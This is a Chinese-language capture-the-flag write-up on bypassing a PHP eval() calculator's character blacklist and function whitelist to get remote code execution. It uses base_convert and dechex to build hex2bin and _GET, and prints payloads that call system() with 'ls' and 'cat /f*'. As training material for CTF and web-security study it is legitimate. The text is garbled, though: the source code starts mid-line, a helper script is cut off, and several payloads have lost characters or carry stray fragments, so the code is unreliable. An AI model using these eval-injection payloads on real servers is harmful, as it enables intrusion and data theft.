这道题思考了好多,本来一直想构造$_GET[1]来实现RCE的,结果一直构造不出来,出了各种报错。于是就一步一步来验证,解决自己的问题,更加理解了php eval 的原理吧
进入页面就是给出了源代码:
= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
本来想着无从下手,但是whitelist里面有几个函数其实是可以利用的:
base_convert => 进制转换

hex2bin => hex->ascii

如此一来便可以利用数字构造字符串了。
所以现在要来确定一下payload,起初我的思路是构造eval($_GET[1])但是总是构造不出来,因为前面有个echo,如果想要隔绝echo就必须用"1;eval($_GET[1])",于是就在这一步卡住了,总是构造不出来,因为('eval')('$_GET[1]')总是会报错,就只能用('system')('ls')来直接执行命令了。
因为('system')('ls')是可行的。不过php版本似乎对这个有要求,再php5.6版本下一样的代码会报错,在php7.0确实成功执行的

所以就构造payload是
?c=($_GET[abs])($_GET[acos])&abs=system&acos=ls
//参数使用abs,acos是因为这两个在白名单里面
现在面临的问题是_GET[]都在白名单外面,于是就使用上面介绍的两个函数来绕过
写一个脚本用来绕过:
hex echo base_convert($string,16,10); //将 hex->10进制 ?> //输出 1598506324
只要hex2bin(base_convert(1598506324,10,16))就可以还原_GET
但现在问题是hex2bin也是白名单外的函数,所以就用36进制把hex2bin变成10进制
用36进制的原因:
36进制是包含所有英文字母的,然后hex2bin有个x是排在26个字母倒数第二个,所以要用36进制
// 输出 37907361743
实际环境试验一下:
输出
_GET说明可行。
接下来就是[]的问题,[]可以用{}替代,即_GET{1}==_GET[1]
由此payload就出来了:
?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));(absabs)(
abs{acos})&abs=system&acos=lsabsabs)(
当我们满心欢喜提交payload的时候:

于是必须想办法缩短payload,就从白名单的abs,acos入手,找尽量短的字符串
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));(pi)pi((
pi){cos})&pi=system&cos=cat /f*pi)pi((

成功拿到flag